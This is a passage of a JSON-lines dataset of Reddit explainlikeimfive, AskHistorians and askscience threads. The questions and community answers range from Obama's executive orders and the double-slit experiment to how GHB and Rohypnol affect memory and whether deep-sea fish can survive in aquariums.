deutscher Juden 1933\u20131938, P. 238-253. G\u00f6ttingen\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2d6i58", "title": "if obama has issued less executive orders/year than every recent president, why are republicans so upset about them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2d6i58/eli5if_obama_has_issued_less_executive_ordersyear/", "answers": {"a_id": ["cjmkawq", "cjmkc5n", "cjmkxdi", "cjmllsk", "cjmm1fg", "cjmn1v8", "cjmn2qg", "cjmn69g", "cjmnc3q", "cjmndo9", "cjmq1am", "cjmqqlr", "cjmsmkb"], "score": [23, 2, 5, 10, 2, 45, 24, 4, 3, 68, 100, 4, 2], "text": ["There's really no way to answer this in a fashion that would seem unbiased. Republicans in Congress aren't doing ANYTHING to pass legislation. They are doing this because they can effectively blame Obama for their own lack of action and label it as Obama not getting things done. Well, when Obama gets things done anyways, that throws a wrench in the plan. So threatening to sue him in order to stop him really helps them on those two attacks. Not an Obama lackey, just think the GOP in Congress sucks more. ", "it could be what his orders are. i Bush's was mostly about the War in Iraq there would be little attention. but if Obama's is about the health care law. (a controversial bill) any exe order will be high lighted ", "Come on people. There got to be a legitimate reason, doesn't there? Aren't there any Republicans out there who can answer this? I've been wondering about this also, and would love to see a legitimate answer. ", "Its actually not surprising most republicans are upset. Typically whichever party isn't in the lead complains. It is a lot like the gerrymandering issue - the loser sits and talks about how biased it is, but the minute he is in control he does the same thing.\n\nAs a somewhat conservative (at least fiscally...) southerner, the GOP is honestly just trying to make Obama look as bad as they can, because they HATE him. There have been several articles about how in recent decades congressmen have become more split along party lines than ever. Where as before they would argue politically while in session, and then still have the ability to go to diner together, merely associating with someone now is a way to lose party support. This has caused a hard line stance, where both sides seek to attack the other instead of focusing on the issues at hand.\n\nIf a republican wins next election, you can be damn sure that democrats will be up in arms over him ever using executive orders.", "Because: Multiple Wars + Tripling the Debt + 2008 Crashed Economy and gutted Revenue + \"Southern Strategy\" of Race-baiting = It's the Black Guy's fault", "Because he's issued more executive orders than any black president in history", "Well since nobody else is legitimately trying to answer the question, they are just mud slinging, I'll give it a try. \n\nIt's due to the content of the changes. They believe they are infringing on checks and balances. They believe the content of some of the orders are not supposed to be decided by one person but rather by congress (the people). \n\nEdit: spelling \n\nYes I'm aware congress hasn't passed much and is slow to change, but I also realize that this is partially by design. ", "This article explains the sentiment rather well, I thought. It may not be the quantity or content, but how and why the exec orders are being used. If you believe the author (Jim Webb...a man with some history), Obama has been using exec orders to circumvent congress.... For good or bad.\n\n_URL_0_\n", "I would say it is about the average amount according to this site.\n\n_URL_0_", "IF YOU JUST GOT HERE - Do yourself a favor and just leave. This comment section is a wasteland. ", "If everyone will calm down and take a step back for a moment, I might be able to help shed a little bit of light on the issue.\n\nPart of the problem stems from a misunderstanding of what is and is not an Executive Order.\n\nMany of the things that people reference when they talk about Executive Order are actually policy directives\u2014 federal government directions that originate from the White House but are not actually codified on paper as official Executive Orders. By and large, most Executive Orders tend to be relatively boring things such as Prohibiting Certain Imports of Burmese Jadeite and Rubies (EO 13651) or Continuance of Certain Federal Advisory Committees (EO 13585). Policy directives, on the other hand, are often related to hot-button issues. As a result, it may seem that Obama has signed a lot of Executive Orders when in reality it\u2019s just that he\u2019s issued a lot of controversial policy directives. (The complete list of Obama\u2019s EOs can be found at _URL_1_).\n\nObama tends to exercise his policy directives and executive authority in ways that are specifically designed to cut Congress out of the decision making process when Obama knows that Congressional Republicans will not go along with him. The Republican dislike of his Executive Orders is a facet of their general view that Obama uses executive authority to sidestep Constitutional checks and balances.\n\nOne example of this is his decision in June 2012 to stop deporting some illegal immigrants if they met certain criteria. This directive included some of the same provisions that were in the DREAM Act, which the Republicans killed in Congress. They defeated it in Congress, only to see parts of it resurface a short time later in the form of a policy directive. Source: _URL_0_\n\nNext, there was the 2013 executive decision to delay the implementation deadlines for parts of the Affordable Care Act (Obamacare). This didn\u2019t sit well with Republicans since what it amounted to was the president changing a law after it had been passed by Congress\u2014 to an old-school conservative, that\u2019s a pretty giant breach of the separation of powers\u2014 largely, many Republicans believed, to delay the political fall-out from the deadlines until after the midterm elections.\nSource: _URL_4_\n\nAdditionally, there were his appointments to the National Labor Relations Board; these appointments normally need Congressional approval unless Congress is in recess. He declared that Congress was in recess (despite the fact that Congress specifically said that it wasn\u2019t) and then made the appointments without their approval. These appointments were later struck down by the Supreme Court as invalid, which only further fueled the Republican view that Obama is using his executive authority to sidestep Constitutional checks and balances.\nSource: _URL_2_\n\nAs one final example, in 2010 Obama decided the government would no longer legally defend the Defense of Marriage Act. This raised the ire of Republicans because this was the federal government saying it would no longer uphold a law that was still legally in effect, which again cut Congress out of the picture in deciding what should and should not be law (plus, the content of the Act was another obvious reason it annoyed Republicans so much).\nSource: _URL_3_\n\nWhile much of what irritates Republicans are policy directives and not Executive Orders, the Executive Orders are an easier political targets since they are tangible documents and require less explaining than policy directives; this in turn makes it appear as though Obama is writing his own laws in violation of the Constitution which fits in nicely to political narrative the Republicans are presenting.\n\n**TL;DR People often think a lot of the things that Obama does are Executive Orders when in reality they are just policy directives. Republicans believe that Obama uses these policy directives to sidestep Constitutional separation of powers, and lumping policy directives in with Executive Orders is a good political attack strategy.**", "Because they hate Obama and want to make him look as bad as they can. That's honestly it...", "Skip the rest of the answers. The only true one is \"Because he's black.\" "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://harpers.org/archive/2013/06/congressional-abdication/1/"], ["http://www.pbs.org/newshour/updates/table-every-presidential-executive-order/"], [], ["http://www.cnn.com/2012/06/15/politics/immigration/index.html", "http://en.wikipedia.org/wiki/List_of_United_States_federal_executive_orders_13489_and_above", "http://www.washingtonpost.com/politics/supreme-court-rebukes-obama-on-recess-appointments/2014/06/26/e5e4fefa-e831-11e3-a86b-362fd5443d19_story.html", "http://www.cbsnews.com/news/is-obama-overstepping-his-bounds-with-executive-actions/", "http://www.usatoday.com/story/news/politics/2013/07/02/obama-delay-health-care-law/2484623/"], [], []]}
{"q_id": "20d045", "title": "Which books by Barbara Tuchman are considered to be her best books?", "selftext": "I have read The Guns of August, and then The Zimmerman Telegram.  I would like to read all of her books that are highly acclaimed.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/20d045/which_books_by_barbara_tuchman_are_considered_to/", "answers": {"a_id": ["cg30sr2"], "score": [2], "text": ["The  Guns  of  August  is  considered  to  be  Barbara  Tuchman's  best  book.  It  still  stands  up  well,  despite  being  more  than  fifty  years  old.  In  1966,  Barbara  Tuchman  consolidated  several  long  essays  that  she  published  in  magazines  before  she  wrote  the  Guns  of  August,  in  her  book  \"The  Proud  Tower:  A  Portrait  of  the  World  Before  the  War  1890-1914\".   This  book  looks  at  the  politics  of  the  United  States  and  Great  Britain,  the  Dreyfus  affair  in  France,  the  culture  of  pre-war  Germany  and  the  various  Socialist  movements  in  Europe.      \n\"A  Distant  Mirror:  The  Calamitous  14th  Century\"  is  also  well  received  by  historians.  It  deals  with  the  Black  Death,  the  Hundred  Years  War  and  the  split  in the  Catholic  church  that  saw  the  Avignon  Papacy.  She  tells  these  stories  through  the  life  of  Enguerrand  de Coucy  VII,  a  powerful  French  noble  that  was  in  the  center  of  all  this  activity.             \n    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3q8fy6", "title": "when doing the double-slit experiment, have all other potential causes been ruled out?", "selftext": "Limited science background, thus this request.  When firing single electrons, would they not have an effect on, and be affected by the atoms in air as they pass?  Could it somehow be that nudging/pulling that is passed through both slits instead of just the one particle?  I'm sure someone's thought of it, but my brain's trying to cope with the whole 'passes through both slits' when it seems obvious that cannot be what's happening, but is happening.  (Yes, read the question the other day plus comments as well.)  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3q8fy6/eli5_when_doing_the_doubleslit_experiment_have/", "answers": {"a_id": ["cwd0509", "cwd0n19", "cwd1hqs", "cwd4gn0"], "score": [18, 3, 6, 3], "text": ["If they were affected by the atoms in the air they would create a random spray pattern instead of the defined interference pattern. Interesting question though because the real cause (trusting the physicists on this one) really twists my brain...", "AFAIK, this replicates the experiment.  Also filled with more craziness.  Since God is the host, I cannot personally rule out divine intervention.\n\n_URL_0_", "The pattern is more distinct if you can remove the air and anything else that could interact with the electrons and potentially make them [decoherent](_URL_1_). Also, we can do the same thing with photons and neutrons. \n\nMost convincingly, if you can put something that could act as a detector on one slit, you will make the electron a decoherent mix of states and the fringe pattern will go away. \n\nedit: [link about detecting the electron](_URL_0_)", " >  When firing single electrons, would they not have an effect on, and be affected by the atoms in air as they pass?\n\nYes, the particles being tested must be tested in an environment that is transparent to them. So electrons must be sent through a vacuum.\n\nThe thing about QM you need to understand is that your picture of a particle (an electron, or more commonly the way it's done, with photons) \"traveling\" through both slits isn't quite right. QM doesn't say that the particle itself is the thing moving around as a wave...by which I mean, it's not like the electron breaks apart and moves toward the slits as an \"electron wave\" of some kind.\n\nThe energy comprising the electron moves as a *probability wave*. This is a thing that is fundamentally different than the electron itself, and it may not even \"exist\" insofar as a thing that corresponds to the physical universe. How the particle itself is actually traveling at this point could be something completely different...but the important bit is that whatever that is, its behavior is *described by* this notion of how a probability wave behaves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://youtube.com/watch?v=fnUBaBdl0Aw"], ["http://phys.org/news/2011-01-which-way-detector-mystery-double-slit.html", "https://en.wikipedia.org/wiki/Quantum_decoherence"], []]}
{"q_id": "bnsybz", "title": "why is it that a sauna at 100\u00b0c is not harmful, yet water boiling at 100\u00b0c is?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bnsybz/eli5_why_is_it_that_a_sauna_at_100c_is_not/", "answers": {"a_id": ["en8ts7u", "en8ty9x", "enaesed", "enb12d4"], "score": [24, 5, 3, 2], "text": ["Dry air is a better insulator than water or humid air. The heat is not transferred efficiently to the skin when using dry air, but very efficiently when using water. \n\nWhen you are sitting in a sauna, and water is put on the coal, the heat does not change, but the humidity increases - you feel more heat than before because the water particles in the air now transfer the heat to your skin better. Boiling water is just the extreme of humid air.\n\nSame effect for weather: 100\u00b0F at 35% humidity is hot, but sustainable, but 100\u00b0F at 90% humidity means you sweat like an animal ;-)", "It's water in the air that's what makes it different.\n\nA 100\u00b0C sauna will be dry. Very dry. The heat will be a dry heat you can tolerate. Add humidity, and you can lower the temperature for an equally warm feeling. \n\nThat's why a steambath, that's very humid, will be a lot less hot. But it'll feel equally hot or even hotter.\n\nAnd in an \"aufguss\" they pour water on the sauna stones on a dry hot sauna, adding humidity to the sauna , and making it feel like it's suddenly a lot warmer, when it's actually not warmer at all.", "The main factor is a property of all substances called specific heat. Specific heat is roughly defined to be the amount of heat necessary to raise the temperature of 1 gram of the substance 1\u00b0C. Since heat gained is always equal to heat lost in any system, touching something that is very hot will transfer that heat into you, but only in proportion to the specific heat of that substance versus that of you.\n\nYou can think of it another way. A given mass of water has nearly 5 times the amount of specific heat as the same mass of air. Thus the water has a far greater influence on the human body then air in a hot sauna versus immersion in 100\u00b0C tub of water.\n\nSomething to ponder, beyond the ELI5 parameters: In addition to the properties of specific heat, how much volume of air is required to be the same mass as a given mass of water? To get you thinking, a gallon of water weighs around 8 pounds. How much air would that be in terms of volume? A huge amount. That\u2019s another reason you can be exposed to far more 100\u00b0C air than 100\u00b0C water.", "Water transfers heat about 25 times faster than air.  A sauna will be harmful eventually, boiling water is harmful immediately.\n\nAlso, a 100 C sauna is definitely harmful.  When a sauna is that hot, people only stay in it for a few minutes.  In a sauna competition in 2010, a top competitor died and another was seriously injured from staying in a 110 C sauna for 6 minutes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "f1fvoe", "title": "- why is it if someone puts drugs in their rectum it quickly enters their bloodstream, but people have feces in the same area all the time and it doesn\u2019t go into their blood and make them sick?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f1fvoe/eli5_why_is_it_if_someone_puts_drugs_in_their/", "answers": {"a_id": ["fh5979v", "fh599n9", "fh5cebm", "fh6iby0"], "score": [32, 4, 5, 5], "text": ["Three things.\n\nA) you have a giant ecosystem of bacteria living in your gut. They protect you by killing foreign bacteria and they help you digest your food.\n\nB) you have a very strong immune presence in your gut and you even have a whole nervous system dedicated to it called the enteric nervous system. These two coordinate to prevent infection.\n\nC) things don't just diffuse through your gut to your blood. There's a very tight barrier. The cells have what you may call a biological seal between them preventing things from passing through. While it can't prevent small things like some ions and water and so on (depends on the region of the gut) it most certainly blocks big things like bacteria. Things that get to your blood usually have to go the transcellular path (as opposed to paracellular). This means the cells lining up your gut take them up actively or passively at the front door (apical or luminal side) and they go out the back door (basolateral side) where the blood vessels are.\n\nDepending on the drug, some passively take the paracellular path as they're small and their properties permit it. Others passively pass through the membrane of the cells due to their chemical properties or they get taken up by the cells like nutrients. So it's a very different thing. Pathogens are big, they can't go about unnoticed. And waste products that the body doesn't want, have no specialized way to cross to the blood, that's why they even stay out in the lumen (inside of the gut tube).", "Your guts, the whole several meters of it, is basically separates in two parts: the first is the longer one, the thin one, who's job is to extract most of the nutrients from the ,what is at that point, mush.\n\nThe rectum is the end of the second, significantly shorter, part that has the task of reabsorbing as much water as it can. Water is made of much smaller molecules than nutrients so it's absorbed, allowed to pass through the wall. Same applies to certain drugs. They are either very similar in size to water or bind to water and carried into the bloodstream along with the water.", "Because the stuff in your poop is already the stuff that your body can't absorb. That's why it's waste in the first place. Everything else that was absorbable like water and nutrients was already absorbed in your intestines.", "Your body has spent several hours trying to absorb every last nutrient it can from the food you eat, the stuff that winds up in your colon is what is left over, the stuff that can't be absorbed.\n\nThe primary purpose of the colon is to reabsorb water, so anything water-soluble gets picked up pretty easily."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ekyr8u", "title": "how do 'date rape' drugs like ghb or rohypnol work?", "selftext": "I've tagged this as NSFW since it might meander into adult territory, but there has been a case in the UK today of a serial rapist within the UK found guilty for the rape of at least 136 men over a two and a half year period using the date rape drug GHB, many of the victims were unaware they had been raped or sexually assaulted until the police contacted them (after finding evidence on the offenders phone) story here;\n\n[_URL_0_](_URL_0_)\n\nThe question is how do these drugs work on a chemical/medical level? considering we have fairly limited understanding of how the brain works how can such targetted and potent short term memory loss be achieved with something as simple as an oral drug? why were these drugs even developed, do they have a medical purpose?\n\nMy understanding is that those who have taken the drug have a complete black-spot in their memory until the drug is worked out of their system, but that they have little other side effects and people can often recall the events leading up to them coming into contact with the drug. It seems incredibly efficient considering so many other forms of medication and drugs have unintended consequences and side effects but these drugs (of which there are a few different kinds) can wipe something so complicated as memory without leaving any trace.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ekyr8u/eli5_how_do_date_rape_drugs_like_ghb_or_rohypnol/", "answers": {"a_id": ["fdeh2k5", "fdenen1", "fdewps8"], "score": [3, 4, 24], "text": ["Rohypnol is actually a prescription pharmaceutical - it is used as a last resort for people who have insomnia so severe that there isn't another drug that will work. \n\nTypically drugs that are used for date rape knock someone out so that they can't resist and often can't remember what happened afterwards. Alcohol can also have a similar effect, that's where the legitimate he said / she said situations happen where a guy is too dumb to realise the girl is too out of it to consent.", "To be precise it doesn't wipe the memory, there is the active memory which is constantly being rewritten as you go along, like you then forget why you walked into a room or what you were looking for. When something is needed for longer it is \"transferred\" to the long term memory the drug stops these long term memories from being formed.", "Okay, taking a go at eli5, even though you asked some complex questions.\n\nGHB  &  Rohypnol are two quite different substances, but they act on the same part of the brain, called *GABA receptors*.        \n*GABA*, a chemical that these receptors are sensitive to, plays a role in how your brain signals to itself that it\u2019s time to go to sleep.        \nKnow how you feel tired, sometimes confused, and usually don\u2019t remember anything right before falling asleep? It\u2019s believed this is partly because of your brain producing, transmitting, and receiving this chemical.           \n\nSometimes, when people have trouble sleeping, doctors determine (speculate?) that the patient\u2019s brain may have issues either producing, or receiving, this chemical.             \nCertain drugs (like rohypnol or ghb) act on the brain in different ways, but do thinks like make your brain produce more of, or be more sensitive to, these \u201csleepy\u201d chemicals.       \nFor people whose sleep problems are caused by issues with this system, this can be a very elegant solution, solving the problem without too many unwanted side effects.\n\nBecause these chemicals are all present in your brain, and because your brain is designed to absorb them, turn them into something else, and then flush them out of your system, it can be difficult to determine afterwards whether you ingested them (with or without your knowledge of having done so).          \nThis is a feature of these drugs; it\u2019s desirable for a drug to do the job you want it to accomplish, and then disappear without causing unintended side-affects or leaving residual things in your body.        \nHowever, the downside of this is that if you want to find evidence that someone has taken the drug (such as being given it without their knowledge or consent), it can be difficult, and in some cases impossible after a relatively short amount of time (like, say, around 24 hours).         \nSo while these drugs can do a really good job at helping someone, those same benefits can become dangers when used in a different context."]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/uk-news/2020/jan/06/reynhard-sinaga-jailed-life-drugging-raping-men-manchester"], "answers_urls": [[], [], []]}
{"q_id": "uhq4y", "title": "Comprehensive histories of Medieval and Early Modern authority structures/society organization?", "selftext": "Specifically, I'm interested in books that discuss the development of the interrelationship between the Papacy and States of Europe, and how this developed into modern nation states and capitalism. Any military histories of the period would also be great. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/uhq4y/comprehensive_histories_of_medieval_and_early/", "answers": {"a_id": ["c4vgzas", "c4vj4ub"], "score": [5, 2], "text": ["These are a lot of different things you're looking for.  I don't know that you'll find it all in any one work; history encourages specialization and limited claims.\n\nThat said I'll recommend Marc Bloch's *Feudal Society*.  It does an excellent job of explaining the legal and social structures of the medieval age.", "I recommended this book here already and will do it again:\n\n[Michael Mitterauer: Why Europe? The Medieval Origins of Its Special Path](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Why-Europe-Medieval-Origins-ebook/dp/B0041OTABG"]]}
{"q_id": "171nf8", "title": "Question about reproductive physiology", "selftext": "I have a question about the viability and process of becoming pregnant from a physiologic point of view. Im pretty versed in human physiology, but I can never seem to get a consistent answer to this question. To see where I may be confused I'm posting this question in the form of multiple statements to either be confirmed or corrected. My statements will be make concerning normal physiology, barring any anomalies which can occur. 1) To become pregnant an egg and sperm must come together 2) An egg can only encounter a sperm in either the Fallopian tube or the uterus. 3) Once an egg is released it takes about a day to travel the tube/uterus to become implantable. 4) This one day is the only day an egg can be fertilized by a sperm (this is where I think my knowledge falls apart). 5) sperm are viable for about 2-3 days and can live in the uterus for this amount of time 6) Including the day single day that an egg is released, and accounting for the 2-3 days on either side of this release in which a sperm can live in the uterus, it is ONLY POSSIBLE to become during this 4-6 day period of time. 7) It is IMPOSSIBLE (again barring any abnormal physiology) to become pregnant at any other time during the reproductive cycle. Assuming this is all true, what is the incidence of pregnancy outside of this time frame due to abnormal physiology?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/171nf8/question_about_reproductive_physiology/", "answers": {"a_id": ["c81ers7"], "score": [9], "text": ["Well, first of all fertilization takes multiple sperm cells. The oocyte is surrounded by a membrane called the zona pellucida. This membrane can be degraded by enzymes in the sperm cells. By the time the fertilizing sperm cell reaches the egg, many others have already begun to work through the ZP. Secondly, the egg isn't that longliving. Fertilization should take place in the 12 hours following ovulation. \n\nThe oocyte reaches the uterus after about 5 days. (Transport through the fallopian tube is really slow, as opposed to sperm cells that can 'swim' pretty fast). This means that fertilization always takes place in the tube. \n\nHowever sperm cells can live up to a few days, so if you can determine with certainty when the ovulation takes place, there's a window of a few days before to about a day after ovulation. \nIn reality it's pretty hard to determine the exact date, since the ovulation doesn't always happen 14 days after the start of the menstrual cycle. It can be more or less."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1q3tax", "title": "how do programs like google translate recognize handwriting so accurately?", "selftext": "When I'm practicing Chinese characters I've noticed that it will still read my poor handwriting, even when my stroke order is completely wrong. What kind of algorithms play into this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1q3tax/how_do_programs_like_google_translate_recognize/", "answers": {"a_id": ["cd8vhzf", "cd8y97r", "cd94fon"], "score": [2, 3, 3], "text": ["Not 100% sure, but I think it is an average of other people's writing. They compile native peoples writing and see if any of them are similar to yours.", "I'm not sure which algorithm(s) they use, but back in Uni I had an AI class where we did a small program to identify user inputted letters using an neural net algorithm called \"Perceptron\".\n\nIn this small program, there was a grid (2 states per cell) which allowed the user to \"draw\" the \"standard\" or \"normal\" form of some letters. This was used to \"teach\" the program those letters. The user could then swap some of the grid elements (activate / deactivate them) and ask the program to identify the letter, and the neural network would attempt to match the new pattern to the ones it knew, returning the best match. If the user swapped (or deleted) enough cells, it would eventually not be able to (correctly) identify the letter.\n\nI'm assuming they do something like this, with a large dataset of handwritten letters in order to \"teach\" their algorithm.\n\nHere's a [demo applet of a multi-level-Perceptron being used for OCR](_URL_0_).\n\nEDIT: typos and grammar.", "Here's a \"simple\" way I learned in a class:\n\nBasically average the digits down to black and white blocks of \"On\" or \"Off\" ( our example had 783 blocks I think), write each character's on/off blocks into a line.  In a training file, say \"this line of on/off blocks is a '1'\",  \"this line is a 'G'\".  Use something like a \"Random Forest\" where is says \"hmm, lines that have these columns set as 'on' tend to be 4's, but these rows with these on/offs tend to be G's\".\n\nNo idea if that's how a pro would do it, but it works for some stuff.  I'd never roll my own in reality; there's free libraries way better than I could write.\n\nMore here for the curious:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://lcn.epfl.ch/tutorial/english/ocr/html/index.html"], ["http://www.kaggle.com/c/digit-recognizer/data"]]}
{"q_id": "36xa1e", "title": "can we run out of tears if we are constantly crying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36xa1e/eli5can_we_run_out_of_tears_if_we_are_constantly/", "answers": {"a_id": ["crhvi01"], "score": [8], "text": ["Yes- your body has a finite amount of fluid.  So I guess you'd be able to keep it going if you are taking in fluid.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d3ndim", "title": "How dense is the dust in astronomic photos?", "selftext": "Where is the rest of gas in photo's like this [APOD](_URL_0_)?\n\nIs it there but we just don't see it and how dense is it e.g. compared to clouds on earth?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/d3ndim/how_dense_is_the_dust_in_astronomic_photos/", "answers": {"a_id": ["f045cmf", "f053l30"], "score": [8, 2], "text": ["I'm not sure what you mean by \"the rest of the gas,\" the bright parts in the photo are gas. You can see dust on areas like the top right where bright spots are peeking out behind dark areas, and the rest of the dark areas in the center and edges are just where there's little to no gas.\n\nThe density of an emission nebula can be up to a million atoms per cubic centimeter, typically around a few thousand, and the dust has a similar density. Compare this to Earth where the atmosphere is on the order of 10^19 atoms per cubic centimeter, more than a trillion times more dense.", " > Is it there but we just don't see it and how dense is it e.g. compared to clouds on earth?\n\nThe bright colors are emission from ionized atoms, and the darker columns are \"molecular clouds\" and dust blocking the emission.  Overall, both mediums are roughly 100-1000x as dense as the interplanetary space (as measured in the solar system); or like the atmosphere of the Moon.  We struggle to create comparable vacuums in the laboratory.  The intensity of the emission -- likewise absorption -- arises from the huge size of these formations.  This image roughly corresponds to 100 lightyears, at the location.  That means that even with relatively few particles per cubic centimetre, a column through the cloud stacks a lot of cubes.   \n   \n\n\nTake this with a grain of salt, it's more hearsay and supposition than anything I've calculated, but on-site at the Heart Nebula, it wouldn't look like this -- wouldn't look like much at all, really, although I suppose from the middle of the densest clouds there'd be an appreciable extinction at least -- iow the night sky would appear \"duller\" than from earth."]}, "title_urls": [], "selftext_urls": ["https://apod.nasa.gov/apod/ap190911.html"], "answers_urls": [[], []]}
{"q_id": "1bzaj5", "title": "Could a deep-sea fish (depth below 4000m/13000ft, fishes such as a fangtooth or an anglerfish) survive in an aquarium ? Would we be able to catch one and bring it up ?", "selftext": "Sorry for my english, not my native language. \n\nMy questions are those in the title, I'll develop them the best I can. So theorically, let's imagine we have some deep sea fishes in our possession. Could they survive in an aquarium ? First, in a classic one with no specifities (just a basic tank full of sea water) ? And second, maybe in a special one, with everything they could need (pressure, special nutriments...) ?\n\nI guess this brings another question such as \"Do they need this high pressure to live ?\" and another \"Could we recreate their natural environment ?\"\n\nThe previous questions supposed that we had such fishes in our possession, so the next question is \"Is it possible to catch one ? And after catching it, taking it up ?\". Obviously not with a fishing rod, but maybe with a special submarine and a big net... (this sounds a bit silly)...\n\n\nAnd then, if we can catch some, imagine we have a male and a female, could they breed ?  \n\n\nI really don't know much about fishes so sorry if I said some stupid stuff... \nI'm interested and a bit scared of the deep sea world, still so unknown.\nThanks a lot for the time you spent reading and maybe answering me.\n\n\nedit :  \n* [a fangtooth](_URL_0_)  \n* [an anglerfish](_URL_1_)\n\nedit2 : Thanks everyone for your answers.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bzaj5/could_a_deepsea_fish_depth_below_4000m13000ft/", "answers": {"a_id": ["c9bin9f", "c9bixyd", "c9bj1rh", "c9bjfjm", "c9bk9dc", "c9bks2y", "c9bkvj7", "c9blhxn", "c9bly2y", "c9bx96c", "c9by45y", "c9c1a0y"], "score": [647, 20, 77, 109, 5, 30, 22, 14, 7, 2, 3, 2], "text": ["[Here](_URL_0_) is an article describing the decompression and temperature impacts on deep-sea fish, eels, and shrimp being caught and maintained. The authors cite depths of greater than 1100 meters for collection and about 2000 meters for the iinitial pressurized tank system. They describe the processes used to catch and keep the organisms in pressurized traps/aquaria and a gradual transfer of cells from these organisms to atmospheric pressure-only systems.", "[AbyssBox Displays Deep-Sea Animals Under Pressure](_URL_0_)", "Can someone talk about how the fish bodies react to the change in pressure? Are there any evolutionary features that help them live in such depths that might be affected when brought up to our atmospheric pressure?", "The question has been answered correctly, with examples of how and when this has been done.\n\nI would like to add that there is a research component of bringing deep sea organisms to the surface for study.\n\n[Craig Young at the University of Oregon institute of Marine Biology](_URL_0_) is a leading expert in bringing up animals under pressure to study their reproductive strategies.  He primarily studies the systematics and functional morphology of ascidians and echinoderms (e.g. tunicates and urchins).\n\n", "They have pressurized tanks at the Aquarium of the Americas in New Orleans to display deep sea fish. Otherwise they would not survive. They die if they are brought to the surface without special equipment.  ", "Additional question here - if you fill a box with sea water and an organism at 2000 meters, and then seal the box into a closed environment, will the pressure inside remain equivalent to water at 2000 meters?", "If this is possible, why don't we see more aquariums with deep sea exhibits?", "My tutor at university carried out a lot of research into deep sea organisms, part of which was their recovery to the surface in order to study them. I don't recall if he did any work with fish, but he definitely talked about what they look like when they're recovered from deep sea trawls.\n\nOne of the major features of a fishes anatomy is the swim bladder, a gas filled sack that they use to maintain their vertical position in the water column, this is obviously maintained at a pressure more or less equal to the surrounding water (otherwise they would rapidly sink/float). In the majority of cases the fish is unable to change the pressure of the swim bladder rapidly enough to cope with the speed of ascent experienced by animals recovered from the deep sea (each 10m of water is equivalent to 1 atmosphere of pressure, so an organism brought up from a few thousand metres experiences a huge pressure change). As a result of this the bladder is frequently irreparably damaged. This is not only an issue for the study of deep sea fish, unwanted catch (bycatch) in commercial fisheries is often discarded at the surface, but will not survive the process as they have experienced severe stress from the catching process, including damage to the swim bladder. \n\nThe work my tutor did mainly focused on invertebrates, I was lucky enough to see the apparatus he was involved in developing imagine a stainless steel tube about 70cm high and 35across, in this was drilled a hole big enough to take a smallish (~10cm carapace width) crab or similar. Using this, and a whole range of pumps and chillers etc, they were able to perform experiments on deep sea inverts without them being depressurised. Last I heard they were struggling to develop ways to feed the animals, without which their experiments were regrettably curtailed!", "Serious question forgive any ignorance, but how do you artificially pressurize water?\n\nI mean for when we want to keep deep-sea fish alive at surface level...", "They have deep sea fish on display at the Shedd Acquarium in Chicago.", "How about the effect of bright lights on the fishes eyes? I can imagine that our lights this would be blindingly bright for something like the [barrelfish](_URL_0_)", "Didn't read the comments, but some universities and major research institutes have these types of fish in special pressurized aquariums. So technically, yes you can have them in an aquarium. Albeit a very expensive and mechanically complex aquarium."]}, "title_urls": [], "selftext_urls": ["http://images.nationalgeographic.com/wpf/media-live/photos/000/181/cache/deep-sea04-fangtooth_18164_600x450.jpg", "http://nature.ca/explore/di-ef/images/di-ef_466GP_deep3_anglerhr.jpg"], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2104549/"], ["http://www.wired.com/wiredscience/2012/06/st_abyssbox/"], [], ["http://pages.uoregon.edu/oimb/Faculty/craigyoung.html"], [], [], [], [], [], [], ["http://25.media.tumblr.com/tumblr_lic2z5xgA31qc2wsio1_500.jpg"], []]}
{"q_id": "fvxg3m", "title": "why is a country/state lockdown avoided by most governments?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fvxg3m/eli5_why_is_a_countrystate_lockdown_avoided_by/", "answers": {"a_id": ["fml0ixd", "fml0muf"], "score": [3, 2], "text": ["Because it seriously harms the economy. People can't work so might not be able to pay taxes and won't be generating sales tax receipts. They may need social security support to buy food or need income replacement measures. Businesses are not generating tax revenues and may collapse hurting revenue in the long term.\n\nBut people will/may die, which also harms the economy, and maybe blame the government in retrospect, so  it's a gamble.", "Most countries have taken actions to prevent the spread of Coronavirus for weeks and months now. One big exception being the United States. However every action taken will have an impact on the economy and wellfare of the people so the benefits of each action have to be compared to its cost. And the impacts changes from country to country and also over time. For example closing the boarder completely may have a huge impact on the trade of both essential and non essential supplies and can make it hard for people essential to a countries healthcare and economy to get to where they are needed while not actually have a big impact on the spread of the virus if it have already spread equally 